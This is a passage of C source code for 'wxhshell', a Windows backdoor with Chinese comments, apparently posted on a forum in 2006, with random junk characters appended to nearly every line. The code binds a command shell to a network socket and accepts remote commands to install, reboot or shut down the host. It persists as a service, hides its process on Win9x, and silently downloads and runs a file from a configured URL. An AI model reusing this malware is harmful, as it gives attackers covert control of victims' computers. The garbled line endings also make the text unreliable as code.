puC91  
    switch(cmd[0]) { ;,&cWz  
  3v8LzS3@  
  // 帮助 vgwpuRL5b  
  case '?': { YMX9Z||  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e}UQN:1  
    break; 1F@j?)(  
  } v-{g  
  // 安装 UT<e/  
  case 'i': { 5RP kAC  
    if(Install()) .{V"Gn9!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'J3 /C7  
    else k;l3^kTy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <CyU9`ye  
    break; ]q]xU,  
    } n=.P46|  
  // 卸载 G!q[NRu  
  case 'r': { 1t  R^  
    if(Uninstall()) !"L.gu-'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m{/7)2.  
    else C-&ymJC|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |[*Bn3E:  
    break; f>N DtG.6  
    } %2\Hj0JQQ  
  // 显示 wxhshell 所在路径 <3;p>4gN  
  case 'p': { #a8kA"X  
    char svExeFile[MAX_PATH]; .IeO+RDQ  
    strcpy(svExeFile,"\n\r"); bKQho31a'  
      strcat(svExeFile,ExeFile); M-o'`e'  
        send(wsh,svExeFile,strlen(svExeFile),0); WMB%?30  
    break; |toP8 6  
    } yb`PMjj15  
  // 重启 FZHA19Kb  
  case 'b': { en<~_|J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N,(!   
    if(Boot(REBOOT)) :X0L6y)u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p `"k=tZ{  
    else { aB ,-E>+  
    closesocket(wsh); 4zoQe>v~  
    ExitThread(0); '2(m%X\6  
    } HlGSt$woX  
    break; +,76|oMsQ%  
    } or]v]*:~l  
  // 关机 7UfNz60+~  
  case 'd': { 4>KF`?%4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;*(-8R/  
    if(Boot(SHUTDOWN)) 7~7L5PRW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '~[8>Q>  
    else { ]~TsmR[  
    closesocket(wsh); XNz+a|cF  
    ExitThread(0); M+/G>U  
    } /DQYlNa  
    break; gEh/m.L7  
    } da$FY7  
  // 获取shell zxyl+tU &  
  case 's': { :`bC3Mr  
    CmdShell(wsh); + jLy>=u  
    closesocket(wsh); ^b8~X [1J_  
    ExitThread(0); y4^u&0}0$  
    break; G3.aw  
  } `w@:h4f  
  // 退出 /"{d2  
  case 'x': { rAenx Z,tF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WZ CI*'  
    CloseIt(wsh); =nEP:7~{  
    break; 4E$MhP  
    } 1!#N-^qk  
  // 离开 `Q@7,z=f  
  case 'q': { &LLU@|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &uq.k{<p\  
    closesocket(wsh); &K^0PzWWof  
    WSACleanup(); UC!mp?   
    exit(1); !_Lmrs  
    break; Sc<dxY@w7-  
        } }icCp)b>v  
  } {;yO3];Hqw  
  } *;<fh,wOk  
KWJVc `  
  // 提示信息 WTSh#L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >xFvfuyC  
} 1NZ"\9=U  
  } F y+NJSG  
L:i&OCU2k  
  return; >*-%:ub  
} GP} ;~  
&jqaW 2  
// shell模块句柄 )x.%PUA  
int CmdShell(SOCKET sock) iU)I"#\l'k  
{ t~Q 9} +  
STARTUPINFO si; r.C6` a  
ZeroMemory(&si,sizeof(si)); +3v)@18B1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iN;Pg _Kq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e5L+NPeM6v  
PROCESS_INFORMATION ProcessInfo; l<=;IMWd  
char cmdline[]="cmd"; 59E9K)c3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I7ao2aS  
  return 0; =ZgueUz,  
} iE%"Q? Q/  
JF=R$!5  
// 自身启动模式 [|]J8o@u^  
int StartFromService(void) VPMu)1={:p  
{ &[E\2 E  
typedef struct bLc5$U$!I  
{ CoN[Yf3\  
  DWORD ExitStatus; Al$z.i?R  
  DWORD PebBaseAddress; oi #B7  
  DWORD AffinityMask; wuqe{?  
  DWORD BasePriority; (NJ{>@&  
  ULONG UniqueProcessId; LlTD =tJ0  
  ULONG InheritedFromUniqueProcessId; EGu%;[  
}   PROCESS_BASIC_INFORMATION; BA;r%?MRL  
M 8},RR@{  
PROCNTQSIP NtQueryInformationProcess; )G P;KUVae  
\/ bd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U8_{MY-9}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hRkCB  
 |$Yk)z3  
  HANDLE             hProcess; sI>w#1.m/&  
  PROCESS_BASIC_INFORMATION pbi; 0seCQANd  
g6M>S1oOO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z/7q#~J,  
  if(NULL == hInst ) return 0; 5P,&VB8L  
V?mP7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bWFa{W5!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?ANW I8'_j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~f<'] zXv  
~k*]Z8Z  
  if (!NtQueryInformationProcess) return 0; [ 8Ohg  
/!6'K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  3.&BhLT  
  if(!hProcess) return 0; Iiy5;:CX:q  
9{Hs1 MD[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zJDHDr  
-E-#@s  
  CloseHandle(hProcess); N_Us6 X  
G]lGoa}]`u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w2LnY1A  
if(hProcess==NULL) return 0; osp~)icun  
k+QGvgP[4@  
HMODULE hMod; }">r0v!3  
char procName[255]; Ycr3$n]e  
unsigned long cbNeeded; V U3RFl  
HE}0_x.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mxlh\'b  
DB}Uzw|  
  CloseHandle(hProcess); 6-U_TV  
 9q;O`&  
if(strstr(procName,"services")) return 1; // 以服务启动 Mh%{cLM  
mWviWHK  
  return 0; // 注册表启动 VG5+u,U6>  
} ;,{ _=n>  
o/AG9|()4  
// 主模块 OUv)`K  
int StartWxhshell(LPSTR lpCmdLine) v93b8/1  
{ {&1L &f<  
  SOCKET wsl; cy%M$O|hX5  
BOOL val=TRUE; _}[ Du/c  
  int port=0; ?:R]p2ID  
  struct sockaddr_in door; 6h9(u7(-N  
]E9iaq6Z  
  if(wscfg.ws_autoins) Install(); |MNSIb&,W  
. ,|C>^  
port=atoi(lpCmdLine); e@3SF  
!LK xZ"  
if(port<=0) port=wscfg.ws_port; {;$oC4  
jz!I +  
  WSADATA data; M5bE5C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d9{lj(2P  
teok*'b:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J/]%zwDwS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %" iX3  
  door.sin_family = AF_INET; }dc0ZRKgx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K V5 '-Sv1  
  door.sin_port = htons(port); gT}H B.  
&xGdKH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {B$CqsvJ  
closesocket(wsl); 86#l$QaK{  
return 1; LnR>!0:c  
} /&gg].&2?  
^O}a,  
  if(listen(wsl,2) == INVALID_SOCKET) { tZ]gVgZg  
closesocket(wsl); rPk|2l,E,3  
return 1; *Y>w0k  
} QK_5gD`$a,  
  Wxhshell(wsl); jKUEs75]  
  WSACleanup(); =~:IiK/#  
n|5\Q  
return 0; Y3 $jNuV  
.s{ "NqRA  
} D||0c"E  
LOUP  
// 以NT服务方式启动 Tm" H9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oidZWy  
{ bQ*yXJ^8  
DWORD   status = 0; n/9afIN  
  DWORD   specificError = 0xfffffff; (T1< (YZ  
&2ED<%hH`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q[OwP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .`D'eS6b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0)&!$@HW  
  serviceStatus.dwWin32ExitCode     = 0; x%dny]O1;  
  serviceStatus.dwServiceSpecificExitCode = 0; w=GMQ8  
  serviceStatus.dwCheckPoint       = 0; Y"FV#<9@7E  
  serviceStatus.dwWaitHint       = 0; /pMOinuO  
$N?8[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ` o)KG,  
  if (hServiceStatusHandle==0) return; 7xnj\9$m  
~"+"6zg  
status = GetLastError(); 1EU4/6!C  
  if (status!=NO_ERROR) Vb,V N?l  
{ %a/3*vz/I%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SaPE 1^}  
    serviceStatus.dwCheckPoint       = 0; SVU>q:ab  
    serviceStatus.dwWaitHint       = 0; 6]7csOE  
    serviceStatus.dwWin32ExitCode     = status; x/,;:S  
    serviceStatus.dwServiceSpecificExitCode = specificError; 12 p`ZD=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9E7G%-  
    return; R+LKa Z  
  } 1Vpti4OmU  
rC8p!e.yL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #-yCR  
  serviceStatus.dwCheckPoint       = 0; &nEL}GM)E  
  serviceStatus.dwWaitHint       = 0; |k.'w<6mb9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]p!{   
} xXJ*xYn "}  
eiK_JPFA-  
// 处理NT服务事件,比如:启动、停止 *PF<J/Pr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .n<vhLDQn  
{ _LJF:E5L  
switch(fdwControl) 2yA)SGri  
{ U[wx){[|  
case SERVICE_CONTROL_STOP: ~qinCIj  
  serviceStatus.dwWin32ExitCode = 0; 9c^,v_W@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~0MpB~ {xd  
  serviceStatus.dwCheckPoint   = 0; UA<Fxt  
  serviceStatus.dwWaitHint     = 0; cC~RW71  
  { r!R-3LO0s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &=lc]sk  
  } i{^T;uAE  
  return; 8lusKww  
case SERVICE_CONTROL_PAUSE: a=2.Y?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V k{;g  
  break; zYzV!s2^  
case SERVICE_CONTROL_CONTINUE: P j   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C|ZPnm>f30  
  break; G)am ng/  
case SERVICE_CONTROL_INTERROGATE:  sS-dHa  
  break; "BQnP9  
}; nCYkUDnZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ty g>Xv  
} <YvXyIs  
E+]}KX:  
// 标准应用程序主函数 zu d_BOq{f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8w5}9}xF  
{ X%yG{\6:  
:[CV_ME.;  
// 获取操作系统版本 }$_@yt<{W@  
OsIsNt=GetOsVer(); o]1BWwtY&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a7g;8t-&   
$INB_/R E  
  // 从命令行安装 wQSan&81Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); <- \|>r Q  
;wwc;wQ'  
  // 下载执行文件 ?X@!jB,Pv  
if(wscfg.ws_downexe) { G80N8Lm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GRcPzneiz  
  WinExec(wscfg.ws_filenam,SW_HIDE); >pF*unC;  
} !Gmnck&+  
V,-we|"  
if(!OsIsNt) { x3y+=aj  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tz1^"tx9  
HideProc(); >V6t L;+  
StartWxhshell(lpCmdLine); }Ulxt:}   
} r `PJb5^\|  
else L-|l$Ti"  
  if(StartFromService()) @:>]jp}uq  
  // 以服务方式启动 0:V /z3?  
  StartServiceCtrlDispatcher(DispatchTable); \V-N~_-H  
else l5D)UO  
  // 普通方式启动 5f*_K6,v  
  StartWxhshell(lpCmdLine); D40 vCax^J  
4p"'ox#  
return 0; Bve|+c6W  
}
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只看该作者 1 发表于: 2006-10-10
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